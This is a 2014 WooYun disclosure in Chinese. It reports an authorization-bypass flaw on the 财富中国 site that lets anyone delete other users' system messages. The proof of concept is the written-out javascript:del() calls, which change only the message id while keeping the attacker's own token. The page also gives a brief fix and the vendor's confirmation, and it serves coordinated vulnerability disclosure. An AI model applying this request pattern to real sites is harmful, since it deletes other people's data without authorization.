当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:
漏洞标题:
财富中国一处越权操作(绕过token)
相关厂商:
漏洞作者:
提交时间:
2014-04-19 12:16
修复时间:
2014-06-03 12:17
公开时间:
2014-06-03 12:17
漏洞类型:
未授权访问/权限绕过
危害等级:
自评Rank:
10
漏洞状态:
厂商已经确认
漏洞来源:
http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签:
分享漏洞:
4人收藏 收藏
分享漏洞:

>

漏洞详情

披露状态:

2014-04-19: 细节已通知厂商并且等待厂商处理中
2014-04-20: 厂商已经确认,细节仅向厂商公开
2014-04-30: 细节向核心白帽子及相关领域专家公开
2014-05-10: 细节向普通白帽子公开
2014-05-20: 细节向实习白帽子公开
2014-06-03: 细节向公众公开

简要描述:

偶尔也来来越权

详细说明:

财富中国一处越权操作,可以删除任意用户短消息。
已读和未读都可以删除哦。
虽然有token,但是真的管用么?:)来看看我的操作。
1:)同时注册2个账户,打开浏览器。
注册完之后注意到了短消息页面的删除按钮:

javascript:del('%E6%82%A8%E7%9C%9F%E7%9A%84%E8%A6%81%E5%88%A0%E9%99%A4%E8%AF%A5%E7%B3%BB%E7%BB%9F%E9%80%9A%E7%9F%A5%EF%BC%9F', '/systemMessage/del', 'id=112469&ai_token=a27cc6ec', '');


是一个执行js函数的操作。
id当然就是你要删除的id了。
2:)直接copy删除的链接过来,不管用(提示token无效)
猜测应该是有对当前用户的token做了判断。
3:)只更改id的情况下,绕过了token判断成功删除:

javascript:del('%E6%82%A8%E7%9C%9F%E7%9A%84%E8%A6%81%E5%88%A0%E9%99%A4%E8%AF%A5%E7%B3%BB%E7%BB%9F%E9%80%9A%E7%9F%A5%EF%BC%9F', '/systemMessage/del', 'id=112476&ai_token=2ec108f7', '');


上面这个是我的第二个号,我把第一个(我自己的账户)修改成:
javascript:del('%E6%82%A8%E7%9C%9F%E7%9A%84%E8%A6%81%E5%88%A0%E9%99%A4%E8%AF%A5%E7%B3%BB%E7%BB%9F%E9%80%9A%E7%9F%A5%EF%BC%9F', '/systemMessage/del', 'id=112476&ai_token=a27cc6ec', '');

漏洞证明:

删除前:

22.jpg


删除之后:

33.jpg


44.jpg

修复方案:

token没起到真正的作用,缺乏真正的校验。

版权声明:转载请注明来源 梧桐雨@乌云


>

漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-04-20 17:46

厂商回复:

谢谢,正在处理当中!

最新状态:

暂无